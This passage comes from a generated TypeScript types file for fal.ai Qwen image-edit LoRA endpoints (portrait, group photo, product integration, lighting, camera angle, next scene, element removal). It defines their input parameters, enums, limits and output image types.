inputFalAiQwenImageEditPlusLoraGalleryFaceToFullPortraitAccelerationEnum = + { + none: 'none', + regular: 'regular', + } as const + +export type InputFalAiQwenImageEditPlusLoraGalleryFaceToFullPortraitAccelerationEnumKey = + (typeof inputFalAiQwenImageEditPlusLoraGalleryFaceToFullPortraitAccelerationEnum)[keyof typeof inputFalAiQwenImageEditPlusLoraGalleryFaceToFullPortraitAccelerationEnum] + +/** + * @description Input model for Face to Full Portrait endpoint - Generate full portrait from a cropped face image + * @type object + */ +export type InputFalAiQwenImageEditPlusLoraGalleryFaceToFullPortrait = { + /** + * @description The scale factor for the LoRA model. Controls the strength of the LoRA effect. + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + lora_scale?: number + /** + * @description Describe the full portrait you want to generate from the face. Include clothing, setting, pose, and style details. + * @default 'Photography. A portrait of the person in professional attire with natural lighting' + * @example Photography. A young woman wearing a yellow dress stands in a flower field + * @example Professional headshot with business suit and office background + * @example Casual portrait outdoors with natural sunlight and bokeh background + * @type string | undefined + */ + prompt?: string + /** + * @description The CFG (Classifier Free Guidance) scale. Controls how closely the model follows the prompt. + * @minimum 0 + * @maximum 20 + * @default 1 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The number of inference steps to perform. + * @minimum 2 + * @maximum 50 + * @default 6 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Whether to enable the safety checker for the generated image. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Number of images to generate + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description Random seed for reproducibility. Same seed with same prompt will produce same result. + */ + seed?: number | null + /** + * @description The URL of the cropped face image. Provide a close-up face photo. + * @example ["https://v3b.fal.media/files/b/kangaroo/Tl9BsbouyruyrEJtXWYOz_ef4270d3ff4d47f18883c70cfdf07c27.png"] + * @type array + */ + image_urls: string[] + /** + * @description The size of the generated image. If not provided, the size of the final input image will be used. + */ + image_size?: + | ImageSizeAdcb7747 + | InputFalAiQwenImageEditPlusLoraGalleryFaceToFullPortraitImageSizeKey + | null + /** + * @description The format of the output image + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiQwenImageEditPlusLoraGalleryFaceToFullPortraitOutputFormatEnumKey + /** + * @description If `True`, the media will be returned as a data URI and won't be saved in history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The negative prompt for the generation + * @default ' ' + * @example + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Acceleration level for image generation. 'regular' balances speed and quality. + * @default 'regular' + * @type string | undefined + */ + acceleration?: InputFalAiQwenImageEditPlusLoraGalleryFaceToFullPortraitAccelerationEnumKey +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageB5F7C946 = { + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiQwenImageEditPlusLoraGalleryFaceToFullPortrait = { + /** + * @description The seed used for generation + * @type integer + */ + seed: number + /** + * @description The generated/edited images + * @example [{"url":"https://v3b.fal.media/files/b/koala/efKAFkAtgzxZeLSdv-d2x.png"}] + * @type array + */ + images: ImageB5F7C946[] +} + +export type ImageSize8A91A29E = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export const inputFalAiQwenImageEditPlusLoraGalleryGroupPhotoImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiQwenImageEditPlusLoraGalleryGroupPhotoImageSizeKey = + (typeof inputFalAiQwenImageEditPlusLoraGalleryGroupPhotoImageSize)[keyof typeof inputFalAiQwenImageEditPlusLoraGalleryGroupPhotoImageSize] + +export const inputFalAiQwenImageEditPlusLoraGalleryGroupPhotoOutputFormatEnum = + { + png: 'png', + jpeg: 'jpeg', + webp: 'webp', + } as const + +export type InputFalAiQwenImageEditPlusLoraGalleryGroupPhotoOutputFormatEnumKey = + (typeof inputFalAiQwenImageEditPlusLoraGalleryGroupPhotoOutputFormatEnum)[keyof typeof inputFalAiQwenImageEditPlusLoraGalleryGroupPhotoOutputFormatEnum] + +export const inputFalAiQwenImageEditPlusLoraGalleryGroupPhotoAccelerationEnum = + { + none: 'none', + regular: 'regular', + } as const + +export type InputFalAiQwenImageEditPlusLoraGalleryGroupPhotoAccelerationEnumKey = + (typeof inputFalAiQwenImageEditPlusLoraGalleryGroupPhotoAccelerationEnum)[keyof typeof inputFalAiQwenImageEditPlusLoraGalleryGroupPhotoAccelerationEnum] + +/** + * @description Input model for Group Photo endpoint - Create composite group photos with vintage/retro style + * @type object + */ +export type InputFalAiQwenImageEditPlusLoraGalleryGroupPhoto = { + /** + * @description The scale factor for the LoRA model. Controls the strength of the LoRA effect. + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + lora_scale?: number + /** + * @description Describe the group photo scene, setting, and style. The model will maintain character consistency and add vintage effects like grain, blur, and retro filters. + * @default 'Two people standing next to each other outside with a landscape background' + * @example Two people standing next to each other outside with a landscape background + * @example Group photo outdoors with mountains and nature in the background, vintage style + * @example Two people next to each other in a scenic outdoor setting with retro filter + * @example People standing together outside with beautiful landscape behind them + * @type string | undefined + */ + prompt?: string + /** + * @description The CFG (Classifier Free Guidance) scale. Controls how closely the model follows the prompt. + * @minimum 0 + * @maximum 20 + * @default 1 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The number of inference steps to perform. + * @minimum 2 + * @maximum 50 + * @default 6 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Whether to enable the safety checker for the generated image. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Number of images to generate + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description Random seed for reproducibility. Same seed with same prompt will produce same result. + */ + seed?: number | null + /** + * @description The URLs of the images to combine into a group photo. Provide 2 or more individual portrait images. + * @example ["https://v3.fal.media/files/monkey/i3saq4bAPXSIl08nZtq9P_ec535747aefc4e31943136a6d8587075.png","https://v3b.fal.media/files/b/kangaroo/OEtbMr7E43t0UPT8JwRT4_091834d85d8346d6960e3fd789d67db8.png"] + * @type array + */ + image_urls: string[] + /** + * @description The size of the generated image. If not provided, the size of the final input image will be used. + */ + image_size?: + | ImageSize8A91A29E + | InputFalAiQwenImageEditPlusLoraGalleryGroupPhotoImageSizeKey + | null + /** + * @description The format of the output image + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiQwenImageEditPlusLoraGalleryGroupPhotoOutputFormatEnumKey + /** + * @description If `True`, the media will be returned as a data URI and won't be saved in history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The negative prompt for the generation + * @default ' ' + * @example + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Acceleration level for image generation. 'regular' balances speed and quality. + * @default 'regular' + * @type string | undefined + */ + acceleration?: InputFalAiQwenImageEditPlusLoraGalleryGroupPhotoAccelerationEnumKey +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image119Cb3A3 = { + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiQwenImageEditPlusLoraGalleryGroupPhoto = { + /** + * @description The seed used for generation + * @type integer + */ + seed: number + /** + * @description The generated/edited images + * @example [{"url":"https://v3b.fal.media/files/b/kangaroo/GGvzZELjxMpFvV2IAEb_9.png"}] + * @type array + */ + images: Image119Cb3A3[] +} + +export type ImageSize0D78A905 = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export const inputFalAiQwenImageEditPlusLoraGalleryIntegrateProductImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiQwenImageEditPlusLoraGalleryIntegrateProductImageSizeKey = + (typeof inputFalAiQwenImageEditPlusLoraGalleryIntegrateProductImageSize)[keyof typeof inputFalAiQwenImageEditPlusLoraGalleryIntegrateProductImageSize] + +export const inputFalAiQwenImageEditPlusLoraGalleryIntegrateProductOutputFormatEnum = + { + png: 'png', + jpeg: 'jpeg', + webp: 'webp', + } as const + +export type InputFalAiQwenImageEditPlusLoraGalleryIntegrateProductOutputFormatEnumKey = + (typeof inputFalAiQwenImageEditPlusLoraGalleryIntegrateProductOutputFormatEnum)[keyof typeof inputFalAiQwenImageEditPlusLoraGalleryIntegrateProductOutputFormatEnum] + +export const inputFalAiQwenImageEditPlusLoraGalleryIntegrateProductAccelerationEnum = + { + none: 'none', + regular: 'regular', + } as const + +export type InputFalAiQwenImageEditPlusLoraGalleryIntegrateProductAccelerationEnumKey = + (typeof inputFalAiQwenImageEditPlusLoraGalleryIntegrateProductAccelerationEnum)[keyof typeof inputFalAiQwenImageEditPlusLoraGalleryIntegrateProductAccelerationEnum] + +/** + * @description Input model for Integrate Product endpoint - Blend and integrate products/elements into backgrounds + * @type object + */ +export type InputFalAiQwenImageEditPlusLoraGalleryIntegrateProduct = { + /** + * @description The scale factor for the LoRA model. Controls the strength of the LoRA effect. + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + lora_scale?: number + /** + * @description Describe how to blend and integrate the product/element into the background. The model will automatically correct perspective, lighting and shadows for natural integration. + * @default 'Blend and integrate the product into the background' + * @example Blend and integrate the product into the background with correct perspective and lighting + * @example Seamlessly blend the object into the scene with natural shadows + * @example Integrate the product naturally into the environment + * @type string | undefined + */ + prompt?: string + /** + * @description The CFG (Classifier Free Guidance) scale. Controls how closely the model follows the prompt. + * @minimum 0 + * @maximum 20 + * @default 1 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The number of inference steps to perform. + * @minimum 2 + * @maximum 50 + * @default 6 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Whether to enable the safety checker for the generated image. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Number of images to generate + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description Random seed for reproducibility. Same seed with same prompt will produce same result. + */ + seed?: number | null + /** + * @description The URL of the image with product to integrate into background. + * @example ["https://v3b.fal.media/files/b/koala/LFYeCtq2LB4s6IpmoI2iy_2fb7b46d1f3749db9f7bab679bc6c4f3.png"] + * @type array + */ + image_urls: string[] + /** + * @description The size of the generated image. If not provided, the size of the final input image will be used. + */ + image_size?: + | ImageSize0D78A905 + | InputFalAiQwenImageEditPlusLoraGalleryIntegrateProductImageSizeKey + | null + /** + * @description The format of the output image + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiQwenImageEditPlusLoraGalleryIntegrateProductOutputFormatEnumKey + /** + * @description If `True`, the media will be returned as a data URI and won't be saved in history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The negative prompt for the generation + * @default ' ' + * @example + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Acceleration level for image generation. 'regular' balances speed and quality. + * @default 'regular' + * @type string | undefined + */ + acceleration?: InputFalAiQwenImageEditPlusLoraGalleryIntegrateProductAccelerationEnumKey +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image2930C130 = { + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiQwenImageEditPlusLoraGalleryIntegrateProduct = { + /** + * @description The seed used for generation + * @type integer + */ + seed: number + /** + * @description The generated/edited images + * @example [{"url":"https://v3b.fal.media/files/b/penguin/4_Bz95EOoETXJlfuWib3r.png"}] + * @type array + */ + images: Image2930C130[] +} + +export type ImageSize702795D1 = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export const inputFalAiQwenImageEditPlusLoraGalleryLightingRestorationOutputFormatEnum = + { + png: 'png', + jpeg: 'jpeg', + webp: 'webp', + } as const + +export type InputFalAiQwenImageEditPlusLoraGalleryLightingRestorationOutputFormatEnumKey = + (typeof inputFalAiQwenImageEditPlusLoraGalleryLightingRestorationOutputFormatEnum)[keyof typeof inputFalAiQwenImageEditPlusLoraGalleryLightingRestorationOutputFormatEnum] + +export const inputFalAiQwenImageEditPlusLoraGalleryLightingRestorationImageSize = + { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', + } as const + +export type InputFalAiQwenImageEditPlusLoraGalleryLightingRestorationImageSizeKey = + (typeof inputFalAiQwenImageEditPlusLoraGalleryLightingRestorationImageSize)[keyof typeof inputFalAiQwenImageEditPlusLoraGalleryLightingRestorationImageSize] + +export const inputFalAiQwenImageEditPlusLoraGalleryLightingRestorationAccelerationEnum = + { + none: 'none', + regular: 'regular', + } as const + +export type InputFalAiQwenImageEditPlusLoraGalleryLightingRestorationAccelerationEnumKey = + (typeof inputFalAiQwenImageEditPlusLoraGalleryLightingRestorationAccelerationEnum)[keyof typeof inputFalAiQwenImageEditPlusLoraGalleryLightingRestorationAccelerationEnum] + +/** + * @description Input model for Lighting Restoration endpoint - Restore natural lighting by removing harsh shadows and light spots + * @type object + */ +export type InputFalAiQwenImageEditPlusLoraGalleryLightingRestoration = { + /** + * @description The negative prompt for the generation + * @default ' ' + * @example + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Number of images to generate + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description Whether to enable the safety checker for the generated image. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The format of the output image + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiQwenImageEditPlusLoraGalleryLightingRestorationOutputFormatEnumKey + /** + * @description If `True`, the media will be returned as a data URI and won't be saved in history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Random seed for reproducibility. Same seed with same prompt will produce same result. + */ + seed?: number | null + /** + * @description The URL of the image to restore lighting for. + * @example ["https://v3b.fal.media/files/b/0a860a2e/L4v5FJm9lwFGGdRY2P7tb.png"] + * @type array + */ + image_urls: string[] + /** + * @description The size of the generated image. If not provided, the size of the final input image will be used. + */ + image_size?: + | ImageSize702795D1 + | InputFalAiQwenImageEditPlusLoraGalleryLightingRestorationImageSizeKey + | null + /** + * @description The number of inference steps to perform. + * @minimum 2 + * @maximum 50 + * @default 6 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Acceleration level for image generation. 'regular' balances speed and quality. + * @default 'regular' + * @type string | undefined + */ + acceleration?: InputFalAiQwenImageEditPlusLoraGalleryLightingRestorationAccelerationEnumKey + /** + * @description The CFG (Classifier Free Guidance) scale. Controls how closely the model follows the prompt. + * @minimum 0 + * @maximum 20 + * @default 1 + * @type number | undefined + */ + guidance_scale?: number +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageF5A7F450 = { + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiQwenImageEditPlusLoraGalleryLightingRestoration = { + /** + * @description The seed used for generation + * @type integer + */ + seed: number + /** + * @description The generated/edited images + * @example [{"url":"https://v3b.fal.media/files/b/0a860a37/ct1JcapCdZTzfNhI0-GM5.png"}] + * @type array + */ + images: ImageF5A7F450[] +} + +export type ImageSizeFb46D263 = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export const inputFalAiQwenImageEditPlusLoraGalleryMultipleAnglesOutputFormatEnum = + { + png: 'png', + jpeg: 'jpeg', + webp: 'webp', + } as const + +export type InputFalAiQwenImageEditPlusLoraGalleryMultipleAnglesOutputFormatEnumKey = + (typeof inputFalAiQwenImageEditPlusLoraGalleryMultipleAnglesOutputFormatEnum)[keyof typeof inputFalAiQwenImageEditPlusLoraGalleryMultipleAnglesOutputFormatEnum] + +export const inputFalAiQwenImageEditPlusLoraGalleryMultipleAnglesAccelerationEnum = + { + none: 'none', + regular: 'regular', + } as const + +export type InputFalAiQwenImageEditPlusLoraGalleryMultipleAnglesAccelerationEnumKey = + (typeof inputFalAiQwenImageEditPlusLoraGalleryMultipleAnglesAccelerationEnum)[keyof typeof inputFalAiQwenImageEditPlusLoraGalleryMultipleAnglesAccelerationEnum] + +export const inputFalAiQwenImageEditPlusLoraGalleryMultipleAnglesImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiQwenImageEditPlusLoraGalleryMultipleAnglesImageSizeKey = + (typeof inputFalAiQwenImageEditPlusLoraGalleryMultipleAnglesImageSize)[keyof typeof inputFalAiQwenImageEditPlusLoraGalleryMultipleAnglesImageSize] + +/** + * @description Input model for Multiple Angles endpoint - Camera control with precise adjustments + * @type object + */ +export type InputFalAiQwenImageEditPlusLoraGalleryMultipleAngles = { + /** + * @description The scale factor for the LoRA model. Controls the strength of the camera control effect. + * @minimum 0 + * @maximum 4 + * @default 1.25 + * @type number | undefined + */ + lora_scale?: number + /** + * @description Whether to enable the safety checker for the generated image. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The CFG (Classifier Free Guidance) scale. Controls how closely the model follows the prompt. + * @minimum 0 + * @maximum 20 + * @default 1 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Move camera forward (0=no movement, 10=close-up) + * @minimum 0 + * @maximum 10 + * @default 0 + * @type number | undefined + */ + move_forward?: number + /** + * @description The number of inference steps to perform. + * @minimum 2 + * @maximum 50 + * @default 6 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Random seed for reproducibility. Same seed with same prompt will produce same result. + */ + seed?: number | null + /** + * @description Adjust vertical camera angle (-1=bird's-eye view/looking down, 0=neutral, 1=worm's-eye view/looking up) + * @minimum -1 + * @maximum 1 + * @default 0 + * @type number | undefined + */ + vertical_angle?: number + /** + * @description The format of the output image + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiQwenImageEditPlusLoraGalleryMultipleAnglesOutputFormatEnumKey + /** + * @description Acceleration level for image generation. 'regular' balances speed and quality. + * @default 'regular' + * @type string | undefined + */ + acceleration?: InputFalAiQwenImageEditPlusLoraGalleryMultipleAnglesAccelerationEnumKey + /** + * @description Number of images to generate + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description Rotate camera left (positive) or right (negative) in degrees. Positive values rotate left, negative values rotate right. + * @minimum -90 + * @maximum 90 + * @default 0 + * @type number | undefined + */ + rotate_right_left?: number + /** + * @description The URL of the image to adjust camera angle for. + * @example ["https://v3.fal.media/files/monkey/i3saq4bAPXSIl08nZtq9P_ec535747aefc4e31943136a6d8587075.png"] + * @type array + */ + image_urls: string[] + /** + * @description Enable wide-angle lens effect + * @default false + * @type boolean | undefined + */ + wide_angle_lens?: boolean + /** + * @description The size of the generated image. If not provided, the size of the final input image will be used. + */ + image_size?: + | ImageSizeFb46D263 + | InputFalAiQwenImageEditPlusLoraGalleryMultipleAnglesImageSizeKey + | null + /** + * @description If `True`, the media will be returned as a data URI and won't be saved in history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The negative prompt for the generation + * @default ' ' + * @example + * @type string | undefined + */ + negative_prompt?: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image5B47A44E = { + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiQwenImageEditPlusLoraGalleryMultipleAngles = { + /** + * @description The seed used for generation + * @type integer + */ + seed: number + /** + * @description The generated/edited images + * @example [{"url":"https://v3b.fal.media/files/b/elephant/0lEToxR8cU5tB-SVMmD2C.png"}] + * @type array + */ + images: Image5B47A44E[] +} + +export type ImageSize6599C8D6 = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export const inputFalAiQwenImageEditPlusLoraGalleryNextSceneImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiQwenImageEditPlusLoraGalleryNextSceneImageSizeKey = + (typeof inputFalAiQwenImageEditPlusLoraGalleryNextSceneImageSize)[keyof typeof inputFalAiQwenImageEditPlusLoraGalleryNextSceneImageSize] + +export const inputFalAiQwenImageEditPlusLoraGalleryNextSceneOutputFormatEnum = { + png: 'png', + jpeg: 'jpeg', + webp: 'webp', +} as const + +export type InputFalAiQwenImageEditPlusLoraGalleryNextSceneOutputFormatEnumKey = + (typeof inputFalAiQwenImageEditPlusLoraGalleryNextSceneOutputFormatEnum)[keyof typeof inputFalAiQwenImageEditPlusLoraGalleryNextSceneOutputFormatEnum] + +export const inputFalAiQwenImageEditPlusLoraGalleryNextSceneAccelerationEnum = { + none: 'none', + regular: 'regular', +} as const + +export type InputFalAiQwenImageEditPlusLoraGalleryNextSceneAccelerationEnumKey = + (typeof inputFalAiQwenImageEditPlusLoraGalleryNextSceneAccelerationEnum)[keyof typeof inputFalAiQwenImageEditPlusLoraGalleryNextSceneAccelerationEnum] + +/** + * @description Input model for Next Scene endpoint - Create cinematic shot progressions and scene transitions + * @type object + */ +export type InputFalAiQwenImageEditPlusLoraGalleryNextScene = { + /** + * @description The scale factor for the LoRA model. Controls the strength of the LoRA effect. + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + lora_scale?: number + /** + * @description Describe the camera movement, framing change, or scene transition. Start with 'Next Scene:' for best results. Examples: camera movements (dolly, push-in, pull-back), framing changes (wide to close-up), new elements entering frame. + * @default 'Next Scene: The camera moves forward revealing more of the scene' + * @example Next Scene: The camera pulls back to reveal the entire landscape + * @example Next Scene: The camera tracks forward as sunlight breaks through the clouds + * @example Next Scene: The camera pans right revealing new characters entering the frame + * @type string | undefined + */ + prompt?: string + /** + * @description The CFG (Classifier Free Guidance) scale. Controls how closely the model follows the prompt. + * @minimum 0 + * @maximum 20 + * @default 1 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The number of inference steps to perform. + * @minimum 2 + * @maximum 50 + * @default 6 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Whether to enable the safety checker for the generated image. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Number of images to generate + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description Random seed for reproducibility. Same seed with same prompt will produce same result. + */ + seed?: number | null + /** + * @description The URL of the image to create the next scene from. + * @example ["https://v3b.fal.media/files/b/penguin/Zj5z8GW7yYlrpOQtuwjKQ_086265e41092415f951a6576fed25e41.png"] + * @type array + */ + image_urls: string[] + /** + * @description The size of the generated image. If not provided, the size of the final input image will be used. + */ + image_size?: + | ImageSize6599C8D6 + | InputFalAiQwenImageEditPlusLoraGalleryNextSceneImageSizeKey + | null + /** + * @description The format of the output image + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiQwenImageEditPlusLoraGalleryNextSceneOutputFormatEnumKey + /** + * @description If `True`, the media will be returned as a data URI and won't be saved in history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The negative prompt for the generation + * @default ' ' + * @example + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Acceleration level for image generation. 'regular' balances speed and quality. + * @default 'regular' + * @type string | undefined + */ + acceleration?: InputFalAiQwenImageEditPlusLoraGalleryNextSceneAccelerationEnumKey +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image489Eed19 = { + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiQwenImageEditPlusLoraGalleryNextScene = { + /** + * @description The seed used for generation + * @type integer + */ + seed: number + /** + * @description The generated/edited images + * @example [{"url":"https://v3b.fal.media/files/b/panda/6r8XojqbZvFPhdizajCb3.png"}] + * @type array + */ + images: Image489Eed19[] +} + +export type ImageSize304E0007 = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export const inputFalAiQwenImageEditPlusLoraGalleryRemoveElementImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiQwenImageEditPlusLoraGalleryRemoveElementImageSizeKey = + (typeof inputFalAiQwenImageEditPlusLoraGalleryRemoveElementImageSize)[keyof typeof inputFalAiQwenImageEditPlusLoraGalleryRemoveElementImageSize] + +export const inputFalAiQwenImageEditPlusLoraGalleryRemoveElementOutputFormatEnum = + { + png: 'png', + jpeg: 'jpeg', + webp: 'webp', + } as const + +export type InputFalAiQwenImageEditPlusLoraGalleryRemoveElementOutputFormatEnumKey = + (typeof inputFalAiQwenImageEditPlusLoraGalleryRemoveElementOutputFormatEnum)[keyof typeof inputFalAiQwenImageEditPlusLoraGalleryRemoveElementOutputFormatEnum] + +export const inputFalAiQwenImageEditPlusLoraGalleryRemoveElementAccelerationEnum = + { + none: 'none', + regular: 'regular', + } as const + +export type InputFalAiQwenImageEditPlusLoraGalleryRemoveElementAccelerationEnumKey = + (typeof inputFalAiQwenImageEditPlusLoraGalleryRemoveElementAccelerationEnum)[keyof typeof inputFalAiQwenImageEditPlusLoraGalleryRemoveElementAccelerationEnum] + +/** + * @description Input model for Remove Element endpoint - Remove/delete elements (objects, people, text) from the image + * @type object + */ +export type InputFalAiQwenImageEditPlusLoraGalleryRemoveElement = { + /** + * @description The scale factor for the LoRA model. Controls the strength of the LoRA effect. + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + lora_scale?: number + /** + * @description Specify what element(s) to remove from the image (objects, people, text, etc.). The model will cleanly remove the element while maintaining consistency of the rest of the image. + * @default 'Remove the specified element from the scene' + * @example Remove the person from the image + * @example Remove the car and the bicycle + * @example Remove the text and logos + * @type string | undefined + */ + prompt?: string + /** + * @description The CFG (Classifier Free Guidance) scale. Controls how closely the model follows the prompt. + * @minimum 0 + * @maximum 20 + * @default 1 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The number of inference steps to perform. + * @minimum 2 + * @maximum 50 + * @default 